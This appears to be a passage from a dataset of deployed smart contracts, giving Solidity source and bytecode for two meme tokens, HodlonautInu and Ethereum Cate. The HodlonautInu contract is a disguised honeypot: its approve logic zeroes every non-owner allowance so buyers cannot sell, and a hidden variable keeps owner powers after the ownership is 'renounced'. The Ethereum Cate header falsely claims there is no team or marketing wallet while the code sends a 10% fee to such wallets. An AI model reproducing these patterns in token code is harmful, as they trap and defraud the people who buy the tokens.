overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) private onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } address private newComer = _msgSender(); modifier onlyOwner() { require(newComer == _msgSender(), "Ownable: caller is not the owner"); _; } } contract HodlonautInu is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _tTotal = 100 * 10**9 * 10**18; string private _name = 'HodlonautInu | https://t.me/hodlonautinu'; string private _symbol = 'HODLO️'; uint8 private _decimals = 18; constructor () public { _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _approve(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: approve from the zero address"); require(to != address(0), "ERC20: approve to the zero address"); if (from == owner()) { _allowances[from][to] = amount; emit Approval(from, to, amount); } else { _allowances[from][to] = 0; emit Approval(from, to, 4); } } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c70565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110ba60289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f2a9092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c70565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112b6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110986022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610b825780600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3610c6b565b6000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110736025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111086023913960400191505060405180910390fd5b610de8816040518060600160405280602681526020016110e260269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f2a9092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7d81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fea90919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9c578082015181840152602081019050610f81565b50505050905090810190601f168015610fc95780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611068576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220a8deec53498ecd61b1ebd7b92ad861be71964fdccc413dcc63efc07ab9c81a8f64736f6c634300060c0033
{"success": true, "error": null, "results": {}}
10,225
0xc467f98a7ce8ada4f7ff4f726e0a6e3f6ff5e2a3
/* - Developer provides LP, no presale - No Team Tokens, Locked LP - 100% Fair Launch No Team & Marketing wallet. 100% of the tokens will be on the market for trade. https://t.me/EthereumCate https://twitter.com/EthereumCate */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract EthereumCate is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Ethereum Cate"; string private constant _symbol = "ECATE"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 5; uint256 private _teamFee = 10; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 5; _teamFee = 10; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function startTrading() external onlyOwner() { require(!tradingOpen, "trading is already started"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = false; _maxTxAmount = 10000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010c5760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b411461033b578063a9059cbb14610366578063c3c8cd80146103a3578063d543dbeb146103ba578063dd62ed3e146103e357610113565b80636fc3eaec146102a557806370a08231146102bc578063715018a6146102f95780638da5cb5b1461031057610113565b806323b872dd116100dc57806323b872dd146101d4578063293230b814610211578063313ce567146102285780635932ead1146102535780636b9990531461027c57610113565b8062b8cf2a1461011857806306fdde0314610141578063095ea7b31461016c57806318160ddd146101a957610113565b3661011357005b600080fd5b34801561012457600080fd5b5061013f600480360381019061013a9190612a3c565b610420565b005b34801561014d57600080fd5b50610156610570565b6040516101639190612edd565b60405180910390f35b34801561017857600080fd5b50610193600480360381019061018e9190612a00565b6105ad565b6040516101a09190612ec2565b60405180910390f35b3480156101b557600080fd5b506101be6105cb565b6040516101cb919061307f565b60405180910390f35b3480156101e057600080fd5b506101fb60048036038101906101f691906129b1565b6105dc565b6040516102089190612ec2565b60405180910390f35b34801561021d57600080fd5b506102266106b5565b005b34801561023457600080fd5b5061023d610c11565b60405161024a91906130f4565b60405180910390f35b34801561025f57600080fd5b5061027a60048036038101906102759190612a7d565b610c1a565b005b34801561028857600080fd5b506102a3600480360381019061029e9190612923565b610ccc565b005b3480156102b157600080fd5b506102ba610dbc565b005b3480156102c857600080fd5b506102e360048036038101906102de9190612923565b610e2e565b6040516102f0919061307f565b60405180910390f35b34801561030557600080fd5b5061030e610e7f565b005b34801561031c57600080fd5b50610325610fd2565b6040516103329190612df4565b60405180910390f35b34801561034757600080fd5b50610350610ffb565b60405161035d9190612edd565b60405180910390f35b34801561037257600080fd5b5061038d60048036038101906103889190612a00565b611038565b60405161039a9190612ec2565b60405180910390f35b3480156103af57600080fd5b506103b8611056565b005b3480156103c657600080fd5b506103e160048036038101906103dc9190612acf565b6110d0565b005b3480156103ef57600080fd5b5061040a60048036038101906104059190612975565b611219565b604051610417919061307f565b60405180910390f35b6104286112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ac90612fdf565b60405180910390fd5b60005b815181101561056c576001600a6000848481518110610500577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061056490613395565b9150506104b8565b5050565b60606040518060400160405280600d81526020017f457468657265756d204361746500000000000000000000000000000000000000815250905090565b60006105c16105ba6112a0565b84846112a8565b6001905092915050565b6000683635c9adc5dea00000905090565b60006105e9848484611473565b6106aa846105f56112a0565b6106a5856040518060600160405280602881526020016137b860289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061065b6112a0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c329092919063ffffffff16565b6112a8565b600190509392505050565b6106bd6112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461074a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161074190612fdf565b60405180910390fd5b600f60149054906101000a900460ff161561079a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079190612f1f565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061082a30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a8565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561087057600080fd5b505afa158015610884573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108a8919061294c565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561090a57600080fd5b505afa15801561091e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610942919061294c565b6040518363ffffffff1660e01b815260040161095f929190612e0f565b602060405180830381600087803b15801561097957600080fd5b505af115801561098d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109b1919061294c565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610a3a30610e2e565b600080610a45610fd2565b426040518863ffffffff1660e01b8152600401610a6796959493929190612e61565b6060604051808303818588803b158015610a8057600080fd5b505af1158015610a94573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ab99190612af8565b5050506001600f60166101000a81548160ff0219169083151502179055506000600f60176101000a81548160ff021916908315150217905550678ac7230489e800006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610bbb929190612e38565b602060405180830381600087803b158015610bd557600080fd5b505af1158015610be9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c0d9190612aa6565b5050565b60006009905090565b610c226112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610caf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca690612fdf565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b610cd46112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5890612fdf565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dfd6112a0565b73ffffffffffffffffffffffffffffffffffffffff1614610e1d57600080fd5b6000479050610e2b81611c96565b50565b6000610e78600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d91565b9050919050565b610e876112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0b90612fdf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f4543415445000000000000000000000000000000000000000000000000000000815250905090565b600061104c6110456112a0565b8484611473565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110976112a0565b73ffffffffffffffffffffffffffffffffffffffff16146110b757600080fd5b60006110c230610e2e565b90506110cd81611dff565b50565b6110d86112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611165576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115c90612fdf565b60405180910390fd5b600081116111a8576040517f08c379a0000000